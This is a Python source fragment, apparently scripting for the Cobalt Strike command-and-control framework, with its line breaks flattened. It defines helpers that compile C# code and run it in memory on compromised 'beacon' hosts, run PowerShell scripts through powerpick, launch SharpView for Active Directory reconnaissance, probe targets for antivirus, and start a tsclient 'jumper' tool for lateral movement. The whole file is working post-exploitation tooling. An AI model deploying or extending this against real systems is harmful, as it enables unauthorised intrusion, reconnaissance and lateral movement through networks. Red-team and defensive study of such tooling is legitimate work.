def execute(bid, code, args, delete_after=True, silent=True, **kwargs): """ Compile and execute some C# code :param bid: Beacon to execute on :param code: Code to compile :param args: Arguments used for execution :param delete_after: Delete the generated .exe after (default: True). This option is set to False if `out=` is set. :param silent: Tell `bexecute_assembly` not to print anything (default: True) :param **kwargs: Compilation arguments passed to `compile_file`. :return: True if the executed build was from the build cache :raises RuntimeError: If one of the options is invalid """ # disable `delete_after` if `out=` is set. if 'out' in kwargs: delete_after = False compiled, from_cache = compile(code, **kwargs) quoted_args = helpers.execute_assembly_quote(args) aggressor.bexecute_assembly(bid, compiled, quoted_args, silent=silent) # cleanup if delete_after: os.remove(compiled) return from_cache
def run(bid, program, args=None, silent=False): # no args if not args: args = [] if program in assemblies: assembly = assemblies[program] args = helpers.eaq(args) if not silent: aggressor.btask(bid, 'Tasked beacon to run {} {}'.format(program, args)) aggressor.bexecute_assembly(bid, assembly, args, silent=True) elif program in powershell: script = powershell[program] aggressor.bpowershell_import(bid, script) if isinstance(args, list) or isinstance(args, tuple): args = ' '.join(powershell_quote(args)) aggressor.bpowerpick(bid, ' '.join(args)) elif program in callbacks: callback = callbacks[program] callback(bid, args, silent=silent) else: raise RuntimeError('Unrecognized program: {}'.format(program))
def run_sharpview(bid, command): """ Run SharpView """ sharpview = utils.basedir('tools/SharpView.exe') aggressor.bexecute_assembly(bid, sharpview, command)
def _(bid, *hosts): exe = '/share/tools/post_exploitation/TestAntivirus/bin/Release/net35/TestAntivirus.exe' if hosts: aggressor.btask(bid, 'Tasked beacon to check AV on: ' + ', '.join(hosts)) else: aggressor.btask(bid, 'Tasked beacon to check local AV') aggressor.bexecute_assembly(bid, exe, helpers.eaq(hosts), silent=True)
def execute_file(bid, source, *args, **kwargs): """ Compile and execute a C# file :param bid: Beacon to execute on :param source: Source file to compile :param *args: Arguments used for execution :param **kwargs: Compilation arguments passed to `compile_file`. Don't use the `out` flag because this will delete the exe after. """ compiled = compile_file(source, **kwargs) # TODO quote args correctly quoted_args = ' '.join(args) aggressor.bexecute_assembly(bid, compiled, quoted_args, silent=True) os.remove(compiled)
def _(bid): aggressor.bexecute_assembly(bid, '/share/tools/jumper/jumper_tsclient.exe', 'tsclient-embedded')